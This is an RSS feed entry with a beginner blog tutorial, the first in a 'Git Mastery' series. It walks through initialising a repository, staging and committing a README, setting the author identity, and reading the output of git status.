            <content:encoded><![CDATA[<h3>Git Mastery #1 — From git init to Your First Commit</h3><figure><img alt="Git Icon" src="https://cdn-images-1.medium.com/max/1000/1*196kO_cdDAbYyFX02Oz1PA.png" /><figcaption>Image from <a href="https://icons8.com/icon/20906/git">icons8</a></figcaption></figure><p>Hi there. Welcome to the <strong>Git Mastery</strong> series. Today I want to talk about <strong>Git</strong> but I think you expected that from the title, right?</p><p>Basically Git is a <strong>version control system</strong>. Imagine you accidentally break your project after adding a new feature. Without Git, you might struggle to restore a working version. With Git, you can always return to a previously committed state. In today’s working environment, Git is an essential skill every developer must have!</p><p>All right. First things first. To use Git in your project or apply git to track changes, you need to initialize it inside a directory. Using the following command.</p><pre>git init</pre><p>You just created a new .git directory which will be used for tracking your project changes and new commits. Now try creating a new file; The new files are untracked and they’ll need to be added by Git, so it can track their changes. Let’s name our new file as README.md.</p><pre>git add README.md</pre><p>Awesome. We just added our file to the <strong>staging area. </strong>But what is a staging area?</p><blockquote><em>Git uses an intermediate step called the staging area. Think of it as a waiting room where you select which changes should be included in your next commit.</em></blockquote><p>Now we need to commit these changes using:</p><pre>git commit -m &quot;Initial commit&quot;</pre><blockquote><em>At this point you may see an error indicating that author identity is unknown. All you have to do is to use a username, and an email to mark these changes under your name.</em></blockquote><pre>git config user.email &quot;you@example.com&quot;<br>git config user.name &quot;Your Name&quot;</pre><p>You’re getting along. See, when we’re making changes to the files, that’s called the <strong>working directory</strong>,<strong> </strong>nothing is staged yet. And then after we use git add, we move those files to the staging area. Also using git commit we record a snapshot of our files at a certain time, with a message describing what changed.</p><p>Now create another file. Let’s name it main.py. You can use the following command to check which changed files are tracked and which are not.</p><pre>git status</pre><p>The output is usually something like this:</p><pre>On branch main<br>Untracked files:<br>  (use &quot;git add &lt;file&gt;...&quot; to include in what will be committed)<br> main.py<br><br>nothing added to commit but untracked files present (use &quot;git add&quot; to track)</pre><p>Congratulations! You have now initialized a Git repository, staged changes, created your first commit, and checked the status of your project. These commands form the foundation of almost every Git workflow you’ll use as a developer.</p><p>In the next <a href="https://medium.com/@teymuri_dev/git-mastery-2-understanding-git-history-with-git-log-06827c3f1d6e">article</a>, we’ll explore Git history using git log and learn how to inspect previous commits and understand what changed over time.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=49baa484b1d4" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>